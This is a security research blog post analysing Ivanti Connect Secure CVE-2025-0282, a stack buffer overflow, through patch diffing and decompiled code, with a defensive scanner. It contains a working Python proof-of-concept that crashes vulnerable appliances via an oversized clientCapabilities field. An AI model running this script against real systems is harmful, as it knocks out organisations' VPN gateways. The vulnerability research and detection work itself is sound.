Analysis and Scanner for Ivanti CVE-2025-0282
2025-1-10 21:22:0 Author: bishopfox.com(查看原文) 阅读量:62 收藏

Summary

Ivanti recently released an advisory for CVE-2025-0282, a stack-based buffer overflow for Ivanti Connect Secure, Policy Secure, and ZTA Gateways that is reportedly being exploited in the wild by sophisticated threat actors. Bishop Fox analyzed the patch to develop a crash proof-of-concept (PoC) and a safe vulnerability scanner to detect vulnerable appliances.

Patch Analysis

We used pkgdiff to identify files that changed between Connect Secure 22.7R2.3 and 22.7R2.5. Based on the pkgdiff report, we identified the /home/bin/web binary as the most likely candidate for this vulnerability. We performed a binary diff using Ghidriff, which revealed several changes in “ifttls” functionality. With the help of Google, we found that "ifttls” refers to the IF-T/TLS protocol, which is part of Ivanti’s VPN protocol. We also saw some new strings in the dispatchMessage() function that give a strong hint about the vulnerability:

Figure 1: The new version adds error messages about client parameters exceeding a size limit
Figure 1: The new version adds error messages about client parameters exceeding a size limit

On further analysis, we identified 3 fields with newly added size limits:

  • Client IP (46 bytes)
  • Client Capabilities (511 bytes)
  • Client Hostname (256 bytes)

The protocol implementation in OpenConnect uses the clientIp and clientHostname in the “client information” packet. This packet consists of an IF-T/TLS header followed by a textual list of key=value pairs separated by spaces and terminated by a newline character and a null byte.

Crash PoC

Based on our understanding, we created a Python script to send overly long values for these fields. We didn’t get a crash with an oversized clientIp or clientHostname, but sending a large clientCapabilities string of 1024 A characters resulted in a segmentation fault. The following version of the script performs that attack:

import socket, ssl, struct, sys
ctx=ssl._create_unverified_context()
 
HOST=("192.168.50.208",443)
 
def negotiate_ifttls(host):
    s=ctx.wrap_socket(socket.create_connection(host))
    req =b'GET / HTTP/1.1\r\n'
    req+=f'Host: {host[0]}\r\n'.encode()
    req+=b'User-Agent: BishopFox\r\n'
    req+=b'Content-Type: EAP\r\n'
    req+=b'Upgrade: IF-T/TLS 1.0\r\n'
    req+=b'Content-Length: 0\r\n'
    req+=b'\r\n'
    s.send(req)
    resp=s.recv(1024)
    assert b'HTTP/1.1 101 Switching Protocols' in resp
    return s
 
def send_ift(s, data):
    hdr=struct.pack(">IIII", 0xa4c, 0x88, len(data)+16, 0)
    s.send(hdr+data)
 
s=negotiate_ifttls(HOST)

payload=b'clientHostname=BishopFox'
payload+=b' clientIp=127.0.0.1'
payload+=b' clientCapabilities='
payload+=b'A'*0x400
payload+=b'\n\0'
send_ift(s, payload)

Running the script resulted in the following crash due to the vulnerable code calling free() with a corrupted pointer: 

web[13952]: segfault at 4141413d ip 00000000f4f0dd1d sp 00000000ffa618a0 error 4 in libc.so.6[f4e91000+1c4000]

Root Cause Analysis

The following code handles the client capabilities field:

    field_value = (char *)hash_table_lookup_item(parsed_params, &IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES);
    if (field_value == (char *)0x0) {
      if (ift_ctx[0x25] < 1) goto LAB_000f5156;
      field_length = 1;
      *(undefined *)ift_ctx[0x23] = 0;
      ift_ctx[0x24] = 0;
    }
    else {
      field_length = strlen(field_value);
      if (-1 < (int)field_length) {
        if (ift_ctx[0x25] <= (int)field_length) {
          DSStr::reserve((int)(ift_ctx + 0x23));
        }
        memmove((void *)ift_ctx[0x23],field_value,field_length);
        ift_ctx[0x24] = field_length;
        *(undefined *)(ift_ctx[0x23] + field_length) = 0;
      }
LAB_000f5156:
      field_length = ift_ctx[0x24] + 1;
    }
    memset(256_byte_buf, 0, 0x100);
    strncpy(256_byte_buf,(char *)ift_ctx[0x23],field_length);

[Figure 2: Client capabilities code from dispatchMessage]

The clientCapabilities string is parsed and stored in a buffer. This buffer is correctly resized to fit strlen(clientCapabilities) bytes. This buffer is then strncpy’d to a 256-byte stack buffer, using a size of strlen(clientCapabilities)+1. Since the size field is calculated based on the length of the input, strncpy doesn’t prevent a buffer overflow from occurring.

The clientIp and clientHostname use similar logic to store in the connection context, but they do not have the same strncpy bug that clientCapabilities parsing has. This explains why we were unable to trigger a crash with long clientIp or clientHostname fields.

Vulnerability Scanning

To safely identify vulnerable targets, we needed to avoid triggering a crash. As it turns out, the messages we identified during patch diffing provide exactly what we need. Those messages are passed as an error response to the client, and they’re only present on a patched system. Since we already know that sending a long clientIp or clientHostname won’t crash an unpatched system, we can safely use those to trigger an error message.

With a slight modification to the crash proof of concept, we created a tool to scan for vulnerable systems.

$ ./scan-cve-2025-0282.py https://192.168.50.208
https://192.168.50.208:443: Vulnerable

$ ./scan-cve-2025-0282.py https://192.168.50.135
https://192.168.50.135:443: Patched

Conclusion

While triggering the vulnerability is simple, exploiting it for remote code execution will require more work. The web binary is one of the few binaries on the system that is compiled with support for ASLR. We haven’t finished analyzing every change, but so far, we have not identified a memory disclosure vulnerability. Without some way to read memory, exploits may have to resort to brute forcing the base address of the binary. Either way, the existence of in-the-wild exploitation is a good reason to patch as soon as possible.

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.


文章来源: https://bishopfox.com/blog/analysis-and-scanner-for-ivanti-cve-2025-0282
如有侵权请联系:admin#unsafe.sh